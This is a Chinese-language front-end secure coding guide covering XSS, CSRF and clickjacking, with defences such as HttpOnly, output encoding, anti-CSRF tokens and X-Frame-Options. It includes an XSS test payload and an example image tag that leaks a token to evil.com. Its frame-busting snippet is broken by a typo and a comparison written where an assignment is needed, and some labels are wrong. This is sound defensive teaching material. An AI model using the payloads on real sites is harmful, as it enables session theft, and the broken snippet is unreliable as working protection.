前端安全編碼規範

前言

隨著網際網路高速的發展，資訊保安已經成為企業重點關注焦點之一，而前端又是引發安全問題的高危據點，所以，作為一個前端開發人員，需要了解前端的安全問題，以及如何去預防、修復安全漏洞。
下面就以前端可能受到的攻擊方式為起點，講解web中可能存在的安全漏洞以及如何去檢測這些安全漏洞，如何去防範潛在的惡意攻擊。

1. 跨站指令碼攻擊（Cross Sites Script）

跨站指令碼攻擊，Cross Site Script（簡稱 CSS或）。指黑客通過“HTML注入”篡改了網頁，插入了惡意的指令碼（主要是JavaScript指令碼），從而在使用者瀏覽網頁時，控制使用者瀏覽器的一種攻擊。

瞭解了什麼是XSS，那你一定想知道，它有什麼危害以及如何去防禦
這裡羅列一張列表：

掛馬
盜取使用者Cookie。
釣魚攻擊，高階的釣魚技巧。
刪除目標文章、惡意篡改資料、嫁禍。
劫持使用者Web行為，甚至進一步滲透內網。
爆發Web2.0蠕蟲。
蠕蟲式掛馬攻擊、刷廣告、刷瀏量、破壞網上資料
其它安全問題

常見的跨站指令碼攻擊也可分為：反射型XSS、儲存型XSS、DOM Based XSS
下面針對這三種常見的型別做具體的分析

1.1 反射型XSS--也可被稱為是HTML注入

反射型XSS，也稱為"非持久型XSS"簡單的把使用者輸入的資料"反射"給瀏覽器，即黑客往往需要誘使使用者"點選"一個惡意連結攻擊才能成功，使用者通過點選這個惡意連結，攻擊者可以成功獲取使用者隱私資料的一種方式。如："盜取使用者Cookie資訊"、"破壞頁面結構"、"重定向到其他網站"，盜取內網IP等。

那麼既然反射型XSS也可以是HTML注入，那麼它注入的關鍵自然也就從前端的HTML頁面開始下手：

1. 使用者能夠與瀏覽器頁面產生互動動作（輸入搜尋的關鍵詞，點選按鈕，點選連結等等），但這些都需要去誘使使用者去操作，說起來容易，做起來難。
2. 使用者輸入的資料會被攻擊方拼接出合適的html去執行惡意的js指令碼，這樣的過程就像是"一次反射"

1.2 儲存型XSS

儲存型XSS，也稱為"`持久型XSS`"，它與`反射型XSS`不同之處在於，它會將使用者輸入的資料"儲存"在攻擊方的伺服器上，具有很強的"穩定性"。
例如：訪問某黑客寫下的一篇含有惡意JavaScript程式碼的部落格文章，黑客把惡意指令碼儲存到服務端。

1.3 DOM based XSS

從效果上來說，也是"反射型XSS"，單獨劃分出來，是因為其形成是通過修改頁面的"DOM節點"形成的XSS。
例如：通過修改DOM節點上的繫結方法，使用者無意間通過點選、輸入等行為執行這些方法獲取到使用者的相關資訊

1.4 如何去檢測是否存在XSS

一般方法是，使用者可以在有關鍵字輸入搜尋的地方輸入<script>alert(123)</script>後點選搜尋，若彈框出現展示123，說明存在XSS漏洞，這就說明前端並沒有對使用者輸入的內容過濾處理。

1.5 XSS的攻擊方式

1.Cookie劫持

通過偽裝一些`圖片和按鈕`等，誘使使用者對其操作，使網頁執行了攻擊者的惡意指令碼，使攻擊者能夠獲取當前使用者的Cookie資訊

2.構造GET和POST請求

若某攻擊者想刪除某網站的一篇文章，首先獲得當前文章的id，然後通過使用指令碼`插入圖片`傳送一個`GET請求`，或`構造表單`，`XMLHTTPRequest`傳送`POST請求`以達到刪除該文章的目的

3.XSS釣魚

`釣魚`這個詞一般認識是起源於`社會工程學`，黑客使用這個這門學科的理念思想，在未授權不知情的情況下誘騙使用者，並得到對方對方的姓名、年齡、郵箱賬號、甚至是銀行卡密碼等私人資訊。

比如："某使用者在某網站（已被攻擊）上操作黑客偽造的一個登入框，當使用者在登入框中輸入了使用者名稱（這裡可能是身份證號等）和密碼之後，將其資訊上傳至黑客的伺服器上（該使用者的資訊就已經從該網站洩漏）"

4.獲取使用者真實的IP地址

通過第三方軟體獲取，比如客戶端安裝了Java環境（JRE），則可通過呼叫`Java Applet`的介面獲取客戶端本地的IP地址

1.6 XSS的防禦方式

1.HttpOnly

原理：瀏覽器禁止頁面的Javascript訪問帶有HttpOnly屬性的cookie。（實質解決的是：XSS後的cookie劫持攻擊）如今已成為一種“標準”的做法

解決方案：
JavaEE給Cookie新增HttpOnly的方式為：
response.setHeader("Set-Cookie","cookiename=value; Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

2.輸入檢查（XSS Filter）

原理：讓一些基於特殊字元的攻擊失效。（常見的Web漏洞如XSS、SQLInjection等，都要求攻擊者構造一些特殊字元）
* 輸入檢查的邏輯，必須在服務端實現，因為客戶端的檢查也是很容易被攻擊者繞過，現有的普遍做法是兩端都做同樣的檢查，客戶端的檢查可以阻擋大部分誤操作的正常使用者，從而節約伺服器的資源。

解決方案：
檢查是否包含"JavaScript"，"<script></script>"等敏感字元。以及對字串中的<>:"&/'等特殊字元做處理

3.輸出檢查

原理：一般來說除了富文字輸出之外，在變數輸出到HTML頁面時，使用編碼或轉義的方式來防禦XSS攻擊

解決方案：
*   針對HTML程式碼的編碼方式：HtmlEncode
*   PHP：htmlentities()和htmlspecialchars()兩個函式
*   Javascript：JavascriptEncode（需要使用""對特殊字元進行轉義，同時要求輸出的變數必須在引號內部）
*   在URL的path（路徑）或者search（引數）中輸出，使用URLEncode

4.更嚴格的做法

除了數字和字母外的所有字元，都使用十六進位制的方式進行編碼

2. 跨站點請求偽造（Cross Sites Request Forgery）

跨站點請求偽造，指利用使用者身份操作使用者賬戶的一種攻擊方式，即攻擊者誘使使用者訪問一個頁面，就以該使用者身份在第三方有害站點中執行了一次操作，洩露了使用者的身份資訊，接著攻擊者就可以使用這個偽造的，但真實存在的身份資訊，到某網站冒充使用者執行惡意操作。

但是，攻擊者只有預測到URL的所有引數與引數值，才能成功地偽造一個請求（當然了，他可以在安全站點裡以自己的身份實際去操作一下，還是能拿到引數的）；反之，攻擊者無法攻擊成功

下圖通俗解釋什麼是CSRF，又是如何給使用者帶來危害的

參考上圖，我們可以總結，完成一次CSRF攻擊，必須滿足兩個條件

使用者登入受信任網站A，並且在本地生成Cookie
在不登出網站A的情況下，訪問有害網站B

2.1 CSRF的原理

CSRF攻擊是攻擊者利用**`使用者身份`**操作使用者賬戶的一種攻擊方式

如電影速度與激情5中吉賽爾使用內褲獲取巴西大佬指紋，最後成功使用偽造指紋的手法開啟保險櫃，CSRF只不過是網路上這個手法的實現。

2.2 CSRF的攻擊方式

1.瀏覽器的Cookie策略

瀏覽器所持有的策略一般分為兩種：
Session Cookie，臨時Cookie。儲存在瀏覽器程式的記憶體中，瀏覽器關閉了即失效。
Third-party Cookie，本地Cookie。伺服器在Set-Cookie時指定了Expire Time。過期了本地Cookie失效，則網站會要求使用者重新登入。

* 在瀏覽網站的過程中，即使瀏覽器開啟了Tab頁，Session Cookie都是有效的，因此發起CSRF攻擊是可行的。

2.P3P頭的副作用

"P3P Header"是 "W3C" 制定的一項關於隱私的標準，全稱是 "The Platform for Privacy Preference"（隱私偏好平臺）

如果網站返回給瀏覽器的 HTTP 頭包含有 P3P 頭，則在某種程度上來說，將允許 瀏覽器傳送第三方 Cookie。在 IE 下即使是"<iframe>"、`<script>`等標籤頁將不再攔截第三方 Cookie 的傳送。主要應用在類似廣告等需要跨域訪問的頁面。

3.GET，POST請求

* 這裡有個誤區
大多數 CSRF 攻擊，都是通過 <img> 、 <iframe> 、 <script> 等帶 src 屬性的標籤，這類標籤只能傳送一次 GET 請求，而不能傳送 POST 請求，由此也有了認為 CSRF 攻擊只能由 GET 請求發起的錯誤觀點。

構造一個 POST 請求，只需要在一個不可見的iframe視窗中，構造一個form表單，然後使用JavaScript自動提交這個表單。那麼整個自動提交表單的過程，對於使用者來說就是不可見的。

2.3 CSRF的防禦方式

1.驗證碼

原理：
CSRF攻擊過程中，使用者在不知情的情況下構造了網路請求，新增驗證碼後，強制使用者必須與應用進行互動

*  優點：簡潔而有效
*  缺點：網站不能給所有的操作都加上驗證碼

2.Referer Check

原理：
* 利用HTTP頭中的Referer判斷請求來源是否合法
* Referer首部包含了當前請求頁面的來源頁面的地址，一般情況下Referer的來源頁就是發起請求的那個頁面，如果是在iframe中發起的請求，那麼對應的頁面URL就是iframe的src

*  優點：簡單易操作（只需要在最後給所有安全敏感的請求統一新增一個攔截器來檢查Referer的值就行）
*  缺點：伺服器並非什麼時候都能取到Referer
        1.很多出於保護使用者隱私的考慮，限制了Referer的傳送。
        2.比如從HTTPS跳轉到HTTP，出於安全的考慮，瀏覽器不會傳送Referer

3.使用Anti CSRF Token

原理：把引數加密，或者使用一些隨機數，從而讓攻擊者無法猜測到引數值，也就無法構造請求的 URL，也就無法發起 CSRF 攻擊。

例子（增加token）：
*  比如一個刪除操作的URL是：`http://host/path/delete?uesrname=abc&item=123`
*  保持原引數不變，新增一個引數Token，Token值是隨機的，不可預測
*  http://host/path/delete?username=abc&item=123&token=[random(seed)]

*  優點：比檢查Referer方法更安全，並且不涉及使用者隱私
*  缺點：
        加密
        1. 加密後的URL非常難讀，對使用者非常不友好
        2. 加密的引數每次都在改變，導致使用者無法對頁面進行搜尋
        3. 普通引數也會被加密或雜湊，將會給DBA工作帶來很大的困擾，因為資料分析常常需要用到引數的明文
        
        token
        1. 對所有的請求都新增Token比較困難

需要注意的點

Token需要足夠隨機，必須用足夠安全的隨機數生成演算法
Token應該為使用者和伺服器所共同持有，不能被第三方知曉
Token可以放在使用者的Session或者瀏覽器的Cookie中
儘量把Token放在表單中，把敏感操作由GET改為POST，以form表單的形式提交，可以避免Token洩露（比如一個頁面：http://host/path/manage?username=abc&token=[random]，在此頁面使用者需要在這個頁面提交表單或者單擊“刪除”按鈕，才能完成刪除操作，在這種場景下，如果這個頁面包含了一張攻擊者能指定地址的圖片<img src="http://evil.com/notexist" />，則這個頁面地址會作為HTTP請求的Refer傳送到evil.com的伺服器上，從而導致Token洩露）

2.4 XSRF

當網站同時存在XSS和CSRF漏洞時，XSS可以模擬客戶端瀏覽器執行任意操作，在XSS攻擊下，攻擊者完全可以請求頁面後，讀取頁面內容中的Token值，然後再構造出一個合法的請求

3. 點選劫持（ClickJacking）

點選劫持是一種視覺上的欺騙手段。攻擊者使用一個透明的、不可見的iframe，覆蓋在一個網頁上，然後誘使使用者在網頁上進行操作，此時使用者將在不知情的情況下點選透明的iframe頁面。通過調整iframe頁面的位置，可以誘使使用者恰好點選在iframe頁面的一些功能性按鈕上。

比如，程式設計師小王在訪問A網頁時，點選空白區域，瀏覽器卻意外開啟了xx新葡京賭場的頁面，於是他在A網頁開啟控制檯，在空白區域發現了一個透明的iframe，該iframe嵌入了一個第三方網頁的URL

3.1 點選劫持防禦方式

1.X-Frame-Options HTTP響應頭是用來給瀏覽器指示允許一個頁面能否在`<frame>、<iframe>、<object>`中展現的標記

#### 有三個可選的值
1.  DENY：瀏覽器會拒絕當前頁面載入任何frame頁面（即使是相同域名的頁面也不允許）
2.  SAMEORIGIN：允許載入frame頁面，但是frame頁面的地址只能為同源域名下的頁面
3.  ALLOW-FROM：可以載入指定來源的frame頁面（可以定義frame頁面的地址）

2.禁止iframe的巢狀
if(window.top.location !== window.loaction){window.top.location === window.self.location}

4. 其他安全問題

4.1 跨域問題處理
    當服務端設定 'Access-Control-Allow-Origin' 時使用了萬用字元 "*",允許來自任意域的跨域請求，這是極其危險的

4.2 postMessage 跨視窗傳遞資訊
    postMessage 允許每一個 window（包括當前視窗、彈出視窗、iframes等）物件往其他的視窗傳送文字訊息，從而實現跨視窗的訊息傳遞。並且這個功能不受同源策略限制。
    必要時，在接受視窗驗證 Domain，甚至驗證URL，以防止來自非法頁面的訊息。實際上是在程式碼上實現一次同源策略的驗證過程。接受視窗對介面的資訊進行安全檢查。
    
4.3 Web Storage
    Web Storage 分為 Session Storage 和 Local Storage。
    雖然受同源策略的約束，但當存有敏感資訊時，也可能會成為攻擊的目標。

5. 總結

謹慎使用者輸入資訊，進行輸入檢查（客戶端和服務端同時檢查）
在變數輸出到HTML頁面時，都應該進行編碼或轉義來預防XSS攻擊
該用驗證碼的時候一定要添上
儘量在重要請求上新增Token引數，注意Token要足夠隨機，用足夠安全的隨機數生成演算法

前端安全編碼規範